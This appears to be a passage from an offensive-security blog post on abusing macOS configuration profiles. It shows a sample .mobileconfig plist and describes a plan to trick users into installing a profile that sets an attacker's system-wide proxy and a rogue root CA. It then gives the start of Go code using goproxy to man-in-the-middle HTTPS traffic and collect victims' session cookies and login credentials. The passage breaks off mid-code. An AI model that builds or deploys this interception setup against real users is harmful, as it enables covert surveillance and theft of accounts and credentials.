&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt;&amp;#x3C;!&lt;/span&gt;&lt;span style="color:#C792EA;font-weight:600"&gt;DOCTYPE&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt;&amp;#x3C;&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;plist version=&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;1.0&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt;&amp;#x3C;&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;dict&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; &amp;#x3C;&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;key&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&gt;&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;HasRemovalPasscode&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;key&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; &amp;#x3C;&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;false&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;/&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; &amp;#x3C;&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;key&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&gt;&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;PayloadContent&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;key&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; &amp;#x3C;&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;array&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; &amp;#x3C;&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;dict&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; &amp;#x3C;&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;key&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&gt;&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;PayloadDisplayName&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;key&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; &amp;#x3C;&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;string&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&gt;&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;Desktop Picture&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;string&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; &amp;#x3C;&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;key&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&gt;&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;PayloadIdentifier&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;key&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; &amp;#x3C;&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;string&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&gt;&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;com.apple.desktop&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;string&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; &amp;#x3C;&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;key&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&gt;&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;PayloadType&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;key&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; &amp;#x3C;&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;string&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&gt;&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;com.apple.desktop&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;string&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; &amp;#x3C;&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;key&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&gt;&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;PayloadUUID&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;key&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; &amp;#x3C;&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;string&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&gt;&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;C68C5CBC-A9AD-44F5-8C49-22E78A5D5370&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;string&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; &amp;#x3C;&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;key&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&gt;&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;PayloadVersion&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;key&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; &amp;#x3C;&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;integer&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&gt;&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;1&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;integer&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; &amp;#x3C;&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;key&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&gt;&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;locked&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;key&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; &amp;#x3C;&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;true&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;/&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; &amp;#x3C;&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;key&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&gt;&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;override-picture-path&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;key&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; &amp;#x3C;&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;string&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&gt;&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;/usr/local/wallpaper_hax.png&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;string&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; &amp;#x3C;/&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;dict&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; &amp;#x3C;/&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;array&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; &amp;#x3C;&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;key&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&gt;&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;PayloadIdentifier&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;key&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; &amp;#x3C;&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;string&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&gt;&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;test.B3664B4A-54C5-4B27-B5C7-30BF3EAD1F29&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;string&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; &amp;#x3C;&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;key&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&gt;&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;PayloadRemovalDisallowed&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;key&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; &amp;#x3C;&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;false&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;/&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; &amp;#x3C;&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;key&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&gt;&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;PayloadType&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;key&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; &amp;#x3C;&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;string&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&gt;&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;Configuration&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;string&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; &amp;#x3C;&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;key&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&gt;&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;PayloadUUID&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;key&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; &amp;#x3C;&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;string&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&gt;&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;5ED6ABEF-27E5-4724-BAFB-D5C43761D446&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;string&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; &amp;#x3C;&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;key&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&gt;&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;PayloadVersion&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;key&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; &amp;#x3C;&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;integer&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&gt;&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;1&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;integer&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;dict&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;plist&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;h2 id="so-what"&gt;So What?&lt;a class="heading-anchor" href="#so-what" aria-label="Link to So What?"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;A user can click on a &lt;code&gt;.mobileconfig&lt;/code&gt; file to launch an installation wizard which will apply the attacker-controlled configuration settings to their device. Interestingly, they&amp;rsquo;re not currently restricted by Gatekeeper in anyway. At the time of writing, there are no signing or notarization requirements for MDM profiles (to my knowledge). However, there is an interesting UI/UX quirk that works in favor of attackers to increase the odds of a successful installation if you do choose to sign.&lt;/p&gt;
&lt;h2 id="whats-the-plan"&gt;What&amp;rsquo;s The Plan?&lt;a class="heading-anchor" href="#whats-the-plan" aria-label="Link to What’s The Plan?"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Let&amp;rsquo;s build an MDM profile that sets a system wide HTTP proxy so that we can read their web traffic. Additionally, let&amp;rsquo;s add our own rogue CA certificate to their Keychain, which will be trusted system wide. This will allow us to intercept HTTPS traffic without their browser throwing nasty errors. Our proxy should dump their requests for inspection, so that we can loot session cookies and credentials from it.&lt;/p&gt;
&lt;h2 id="constructing-the-proxy-server"&gt;Constructing The Proxy Server&lt;a class="heading-anchor" href="#constructing-the-proxy-server" aria-label="Link to Constructing The Proxy Server"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;There&amp;rsquo;s a great Go library called &lt;a href="https://github.com/elazarl/goproxy" target="_blank" rel="noopener noreferrer"&gt;goproxy&lt;/a&gt; that makes it trivial to create custom proxy applications. Let&amp;rsquo;s modify one of the examples to dump requests that pass through the proxy. This will let us inspect the victim&amp;rsquo;s cookies and POST data (which will include credentials for login endpoints). There&amp;rsquo;s a lot of capability that can be built out here to make harvesting loot easier. Write regexes for POSTs to particular domains:uri pairs to pull out passwords. Log cookies to a database and send yourself a notification when a new session is detected for a domain you&amp;rsquo;re interested in, etc. But for the sake of example, let&amp;rsquo;s keep it simple.&lt;/p&gt;
&lt;div class="code-panel"&gt;
&lt;div class="code-scroll" tabindex="0" role="region" aria-label="Code listing"&gt;&lt;pre class="shiki"&gt;&lt;code data-lang="go"&gt;&lt;span class="line"&gt;&lt;span style="color:#C792EA;font-weight:600"&gt;package&lt;/span&gt;&lt;span style="color:#78DCE8"&gt; main&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#C792EA;font-weight:600"&gt;import&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; (&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;crypto/tls&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;crypto/x509&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;flag&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;io/ioutil&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;log&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;net/http&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;fmt&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;github.com/elazarl/goproxy&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;net/http/httputil&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#C792EA;font-weight:600"&gt;func&lt;/span&gt;&lt;span style="color:#82AAFF"&gt; setCA&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;(&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;caCert&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; caKey &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;[]&lt;/span&gt;&lt;span style="color:#C792EA;font-weight:600"&gt;byte&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;)&lt;/span&gt;&lt;span style="color:#C792EA;font-weight:600"&gt; error&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; goproxyCa&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; err &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:=&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; tls&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#82AAFF"&gt;X509KeyPair&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;(&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;caCert&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; caKey&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#C792EA;font-weight:600"&gt; if&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; err &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;!=&lt;/span&gt;&lt;span style="color:#C792EA;font-weight:600"&gt; nil&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#C792EA;font-weight:600"&gt; return&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; err&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; }&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#C792EA;font-weight:600"&gt; if&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; goproxyCa&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;Leaf&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; err &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;=&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; x509&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#82AAFF"&gt;ParseCertificate&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;(&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;goproxyCa&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;Certificate&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;[&lt;/span&gt;&lt;span style="color:#F4B66A"&gt;0&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;]);&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; err &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;!=&lt;/span&gt;&lt;span style="color:#C792EA;font-weight:600"&gt; nil&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#C792EA;font-weight:600"&gt; return&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; err&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; }&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; goproxy&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;GoproxyCa &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;=&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; goproxyCa&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; goproxy&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;OkConnect &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;=&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; &amp;#x26;&lt;/span&gt;&lt;span style="color:#78DCE8"&gt;goproxy&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#78DCE8"&gt;ConnectAction&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;{&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;Action&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; goproxy&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;ConnectAccept&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; TLSConfig&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; goproxy&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#82AAFF"&gt;TLSConfigFromCA&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;(&amp;#x26;&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;goproxyCa&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;)}&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; goproxy&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;MitmConnect &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;=&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; &amp;#x26;&lt;/span&gt;&lt;span style="color:#78DCE8"&gt;goproxy&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#78DCE8"&gt;ConnectAction&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;{&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;Action&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; goproxy&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;ConnectMitm&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; TLSConfig&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; goproxy&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#82AAFF"&gt;TLSConfigFromCA&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;(&amp;#x26;&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;goproxyCa&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;)}&lt;/span&gt;&lt;/span&gt;
